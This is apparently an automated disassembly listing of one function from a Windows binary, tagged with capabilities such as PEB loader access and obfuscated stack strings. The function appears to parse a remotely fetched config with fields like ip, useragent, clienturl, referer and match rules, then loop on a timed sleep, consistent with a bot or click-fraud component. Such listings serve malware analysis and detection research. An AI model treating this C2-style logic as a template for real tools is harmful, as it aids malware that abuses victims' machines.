Function at 0x4135c0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x42a7ef
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
mov eax, dword [0x4361f0]
push ebx
push esi
push edi
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], eax
mov edi, 1
push 0x439958
lea ecx, [esp + 0x10]
mov dword [esp + 0x80], edi
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x34]
mov byte [esp + 0x80], 2
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x30]
mov byte [esp + 0x80], 3
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x2c]
mov byte [esp + 0x80], 4
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x28]
mov byte [esp + 0x80], 5
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x24]
mov byte [esp + 0x80], 6
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x20]
mov byte [esp + 0x80], 7
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x1c]
mov byte [esp + 0x80], 8
call fcn.00421a83
push 0x439958
lea ecx, [esp + 0x18]
mov byte [esp + 0x80], 9
call fcn.00421a83
push ecx
mov byte [esp + 0x80], 0xa
mov ecx, esp
mov dword [esp + 0x68], esp
push str.1__:___
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0xb
mov ecx, esp
mov dword [esp + 0x68], esp
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call fcn.00421a83
push ecx
mov byte [esp + 0x88], 0xc
mov ecx, esp
mov dword [esp + 0x68], esp
push 0x439958
call fcn.00421a83
push ecx
mov byte [esp + 0x8c], 0xd
mov ecx, esp
mov dword [esp + 0x68], esp
push 0x439958
call fcn.00421a83
lea ecx, [esp + 0x54]
mov byte [esp + 0x8c], 0xe
push ecx
call fcn.00401ce0
add esp, 4
mov esi, eax
push str.nfm
lea edx, [esp + 0x54]
push 0x439950
push edx
mov byte [esp + 0x98], 0xf
call fcn.00421c5e
push ecx
mov byte [esp + 0x90], 0x10
mov ecx, esp
mov dword [esp + 0x68], esp
push esi
push eax
push ecx
call fcn.00421bf8
lea edx, [esp + 0x50]
mov bl, 0x12
push edx
mov byte [esp + 0x94], bl
call fcn.00406580
add esp, 0x18
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x80], 0x13
call fcn.00421b02
lea ecx, [esp + 0x3c]
mov byte [esp + 0x7c], bl
call fcn.00421a15
lea ecx, [esp + 0x40]
mov byte [esp + 0x7c], 0x11
call fcn.00421a15
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
push ecx
mov esi, esp
mov dword [esp + 0x68], esp
push ecx
mov ecx, esp
mov dword [esp + 0x6c], esp
push str.__datastring_
call fcn.00421a83
push ecx
mov byte [esp + 0x88], 0x14
mov ecx, esp
mov dword [esp + 0x6c], esp
push str._datastring_
call fcn.00421a83
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x6c], esp
push eax
mov byte [esp + 0x90], 0x15
call fcn.004217a8
push esi
mov byte [esp + 0x90], 0xa
call fcn.004032a0
add esp, 0x10
lea ecx, [esp + 0x48]
push ecx
call fcn.00402460
add esp, 8
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x80], 0x16
call fcn.00421b02
mov byte [esp + 0x7c], 0xa
lea ecx, [esp + 0x44]
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x68], esp
push str.__shadow_
call fcn.00421a83
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x68], esp
push edx
mov byte [esp + 0x88], 0x17
call fcn.004217a8
mov byte [esp + 0x84], 0xa
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
jne 0x413898
mov esi, dword [esp + 0x84]
push 0x439958
mov ecx, esi
call fcn.00421a83
mov dword [esp + 0x34], edi
jmp 0x4140f3
push ecx
mov ecx, esp
mov dword [esp + 0x68], esp
push str.__ip_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x18
mov ecx, esp
mov dword [esp + 0x68], esp
push str._ip_
call fcn.00421a83
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x68], esp
push eax
mov byte [esp + 0x8c], 0x19
call fcn.004217a8
lea ecx, [esp + 0x50]
mov byte [esp + 0x88], 0xa
push ecx
call fcn.004032a0
add esp, 0x10
push eax
mov ecx, 0x43994c
mov byte [esp + 0x80], 0x1a
call fcn.00421b02
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x68], esp
push str.__version2_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x1b
mov ecx, esp
mov dword [esp + 0x68], esp
push str._version2_
call fcn.00421a83
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x68], esp
push edx
mov byte [esp + 0x8c], 0x1c
call fcn.004217a8
lea eax, [esp + 0x50]
mov byte [esp + 0x88], 0xa
push eax
call fcn.004032a0
add esp, 0x10
push eax
mov ecx, 0x439910
mov byte [esp + 0x80], 0x1d
call fcn.00421b02
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x68], esp
push str.__useragent_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x1e
mov ecx, esp
mov dword [esp + 0x68], esp
push str._useragent_
call fcn.00421a83
mov byte [esp + 0x84], 0x1f
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x68], esp
push edx
call fcn.004217a8
lea eax, [esp + 0x50]
mov byte [esp + 0x88], 0xa
push eax
call fcn.004032a0
add esp, 0x10
push eax
mov ecx, 0x439914
mov byte [esp + 0x80], 0x20
call fcn.00421b02
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
push ecx
mov esi, esp
mov dword [esp + 0x68], esp
push ecx
mov ecx, esp
mov dword [esp + 0x6c], esp
push str.__clienturl_
call fcn.00421a83
push ecx
mov byte [esp + 0x88], 0x21
mov ecx, esp
mov dword [esp + 0x6c], esp
push str._clienturl_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x6c], esp
push edx
mov byte [esp + 0x90], 0x22
call fcn.004217a8
push esi
mov byte [esp + 0x90], 0xa
call fcn.004032a0
add esp, 0x10
lea eax, [esp + 0x48]
push eax
call fcn.00401a20
mov eax, dword [eax]
push 0x439958
push eax
call fcn.004149c5
add esp, 0x10
lea ecx, [esp + 0x44]
test eax, eax
setne bl
call fcn.00421a15
test bl, bl
je 0x413b17
push ecx
mov esi, esp
mov dword [esp + 0x68], esp
push ecx
mov ecx, esp
mov dword [esp + 0x6c], esp
push str.__clienturl_
call fcn.00421a83
push ecx
mov byte [esp + 0x88], 0x23
mov ecx, esp
mov dword [esp + 0x6c], esp
push str._clienturl_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x6c], esp
push edx
mov byte [esp + 0x90], 0x24
call fcn.004217a8
push esi
mov byte [esp + 0x90], 0xa
call fcn.004032a0
add esp, 0x10
lea eax, [esp + 0x48]
push eax
call fcn.00401a20
add esp, 8
push eax
mov ecx, 0x439954
mov byte [esp + 0x80], 0x25
call fcn.00421b02
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
mov eax, dword [0x439930]
mov ecx, dword [0x439910]
push eax
push ecx
call fcn.004149c5
add esp, 8
test eax, eax
push 0x439958
je 0x413b4c
mov esi, dword [esp + 0x88]
mov ecx, esi
call fcn.00421a83
mov dword [esp + 0x34], edi
jmp 0x4140f3
lea ecx, [esp + 0x14]
call fcn.00421a83
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov bl, 0x26
mov byte [esp + 0x7c], bl
push ecx
mov ecx, esp
mov dword [esp + 0x6c], esp
push str.__listing_
call fcn.00421a83
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x88], 0x27
call fcn.004217a8
mov byte [esp + 0x84], bl
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
je 0x4140ce
push 0x439958
lea ecx, [esp + 0x14]
call fcn.00421b52
push ecx
mov ecx, esp
mov dword [esp + 0x70], esp
push str.__listing_
call fcn.00421a83
push ecx
lea eax, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x70], esp
push eax
mov byte [esp + 0x88], 0x28
call fcn.004217a8
mov byte [esp + 0x84], bl
call fcn.004019a0
add esp, 8
add eax, 0xa
lea ecx, [esp + 0x44]
push eax
push 0
push ecx
lea ecx, [esp + 0x18]
call fcn.00420e4e
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x80], 0x29
call fcn.00421b02
lea ecx, [esp + 0x44]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x70], esp
push str.__listing_
call fcn.00421a83
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x70], esp
push edx
mov byte [esp + 0x88], 0x2a
call fcn.004217a8
mov byte [esp + 0x84], bl
call fcn.004019a0
add esp, 8
add eax, 0xa
lea ecx, [esp + 0xc]
push eax
lea eax, [esp + 0x44]
push eax
call fcn.00420e2b
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x80], 0x2b
call fcn.00421b02
lea ecx, [esp + 0x40]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x70], esp
push str.__type_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x2c
mov ecx, esp
mov dword [esp + 0x70], esp
push str._type_
call fcn.00421a83
push ecx
mov byte [esp + 0x88], 0x2d
mov ecx, esp
mov dword [esp + 0x7c], esp
lea edx, [esp + 0x1c]
push edx
call fcn.004217a8
lea eax, [esp + 0x48]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x80], 0x2e
call fcn.00421b02
lea ecx, [esp + 0x3c]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__link_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x2f
mov ecx, esp
mov dword [esp + 0x74], esp
push str._link_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x30
call fcn.004217a8
lea eax, [esp + 0x54]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x80], 0x31
call fcn.00421b02
lea ecx, [esp + 0x48]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__referer_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x32
mov ecx, esp
mov dword [esp + 0x74], esp
push str._referer_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x33
call fcn.004217a8
lea eax, [esp + 0x58]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x80], 0x34
call fcn.00421b02
mov byte [esp + 0x7c], bl
lea ecx, [esp + 0x4c]
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__match101_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x35
mov ecx, esp
mov dword [esp + 0x74], esp
push str._match101_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x36
call fcn.004217a8
lea eax, [esp + 0x5c]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x80], 0x37
call fcn.00421b02
lea ecx, [esp + 0x50]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__match102_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x38
mov ecx, esp
mov dword [esp + 0x74], esp
push str._match102_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x39
call fcn.004217a8
lea eax, [esp + 0x60]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x80], 0x3a
call fcn.00421b02
lea ecx, [esp + 0x54]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__match201_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x3b
mov ecx, esp
mov dword [esp + 0x74], esp
push str._match201_
call fcn.00421a83
mov byte [esp + 0x84], 0x3c
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
call fcn.004217a8
lea eax, [esp + 0x64]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x80], 0x3d
call fcn.00421b02
lea ecx, [esp + 0x58]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__match202_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x3e
mov ecx, esp
mov dword [esp + 0x74], esp
push str._match202_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x3f
call fcn.004217a8
lea eax, [esp + 0x68]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x80], pe_nt_image_headers32
call fcn.00421b02
lea ecx, [esp + 0x5c]
mov byte [esp + 0x7c], bl
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x74], esp
push str.__level_
call fcn.00421a83
push ecx
mov byte [esp + 0x84], 0x41
mov ecx, esp
mov dword [esp + 0x74], esp
push str._level_
call fcn.00421a83
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
mov byte [esp + 0x8c], 0x42
call fcn.004217a8
lea eax, [esp + 0x6c]
mov byte [esp + 0x88], bl
push eax
call fcn.004032a0
add esp, 0x10
mov byte [esp + 0x7c], 0x43
push eax
lea ecx, [esp + 0x18]
call fcn.00421b02
lea ecx, [esp + 0x60]
mov byte [esp + 0x7c], bl
call fcn.00421a15
lea ecx, [esp + 0x30]
push ecx
mov ecx, 0x439944
call fcn.00421b02
lea edx, [esp + 0x2c]
mov ecx, 0x43993c
push edx
call fcn.00421b02
lea eax, [esp + 0x28]
mov ecx, 0x439934
push eax
call fcn.00421b02
lea ecx, [esp + 0x24]
push ecx
mov ecx, 0x43991c
call fcn.00421b02
lea edx, [esp + 0x20]
mov ecx, 0x439920
push edx
call fcn.00421b02
lea eax, [esp + 0x1c]
mov ecx, 0x439928
push eax
call fcn.00421b02
lea ecx, [esp + 0x18]
push ecx
mov ecx, 0x439924
call fcn.00421b02
lea edx, [esp + 0x14]
mov ecx, 0x439948
push edx
call fcn.00421b02
lea eax, [esp + 0x64]
push eax
call fcn.00413580
add esp, 4
lea ecx, [esp + 0x64]
call fcn.00421a15
push 0x1770
call esi
jmp 0x413b61
mov esi, dword [esp + 0x84]
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.004217a8
lea ecx, [esp + 0x10]
mov dword [esp + 0x34], edi
mov byte [esp + 0x7c], 0xa
call fcn.00421a15
lea ecx, [esp + 0x14]
mov byte [esp + 0x7c], 9
call fcn.00421a15
lea ecx, [esp + 0x18]
mov byte [esp + 0x7c], 8
call fcn.00421a15
lea ecx, [esp + 0x1c]
mov byte [esp + 0x7c], 7
call fcn.00421a15
lea ecx, [esp + 0x20]
mov byte [esp + 0x7c], 6
call fcn.00421a15
lea ecx, [esp + 0x24]
mov byte [esp + 0x7c], 5
call fcn.00421a15
lea ecx, [esp + 0x28]
mov byte [esp + 0x7c], 4
call fcn.00421a15
lea ecx, [esp + 0x2c]
mov byte [esp + 0x7c], 3
call fcn.00421a15
lea ecx, [esp + 0x30]
mov byte [esp + 0x7c], 2
call fcn.00421a15
lea ecx, [esp + 0xc]
mov byte [esp + 0x7c], 1
call fcn.00421a15
lea ecx, [esp + 0x38]
mov byte [esp + 0x7c], 0
call fcn.00421a15
mov ecx, dword [esp + 0x74]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x74
ret